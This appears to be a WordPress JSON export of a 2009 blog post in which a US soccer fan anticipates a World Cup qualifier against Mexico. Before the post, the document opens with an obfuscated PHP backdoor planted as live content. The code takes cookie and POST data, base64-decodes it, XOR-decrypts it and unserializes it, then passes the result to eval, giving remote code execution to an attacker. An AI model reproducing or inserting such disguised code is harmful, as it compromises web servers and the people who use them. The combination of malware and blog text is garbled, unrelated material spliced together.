$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":542,"date":"2009-02-11T09:33:46","date_gmt":"2009-02-11T13:33:46","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=542"},"modified":"2009-02-11T09:33:46","modified_gmt":"2009-02-11T13:33:46","slug":"its-time","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=542","title":{"rendered":"It’s Time"},"content":{"rendered":"

Today ranks as one of the most important days of the year for me. Actually, this is one of the most important days in a four-year period.<\/p>\n

The U.S. men’s national soccer team takes on Mexico<\/a> in a World Cup qualifer tonight at 7. Watch it on ESPN2.<\/p>\n

$\"\"$ <\/a>I think of myself as a pretty progressive person. I try to show people from all walks of life the utmost respect. I especially do this for the burgeoning immigrant population in my home town. I have nothing against people who come here from Mexico to seek a better life.<\/p>\n

It’s a different story when it comes to the members of their national soccer team. Not only is their a natural rivalry because of geography and because we are the two strongest teams in our region, but there is also the hate that I feel because of their attitude toward our team.<\/p>\n

Their refusal to shake hands after we beat them. The cheap shot<\/a> Osvaldo Sanchez took on Eddie Johnson in a friendly a few years ago. The way they pummeled Cobi Jones in the World Cup just because we were schooling them. Their general whining and lack of class.<\/p>\n

I don’t use the word hate very often, but I hate their soccer team with a passion. And tonight we get a chance to put them in their place.<\/p>\n

The last two qualifying cycles have seen us beat them 2-0 at Columbus Crew Stadium in Columbus, Ohio. I was there four years ago. You can see me in the photo (click the image for a bigger version). Look at the left side of the goal. If you look real closely, there is a guy in a red jacket and a tan cowboy hat in the front row, right behind the goalpost. Im on his immediate left.<\/p>\n

I couldn’t go this year and am incredibly antsy because of it. I’ll get lots of work done today, but will be distracted until I can get home, throw on my red U.S. jersey and cordon myself in the basement with beer and snacks to see us win.<\/p>\n

I don’t usually get like this, but this day only rolls around once every four years. When we play them in friendly matches, it just isn’t the same. When we play them away, I expect us to struggle. But tonight is on our turf, and we own this game.<\/p>\n","protected":false},"excerpt":{"rendered":"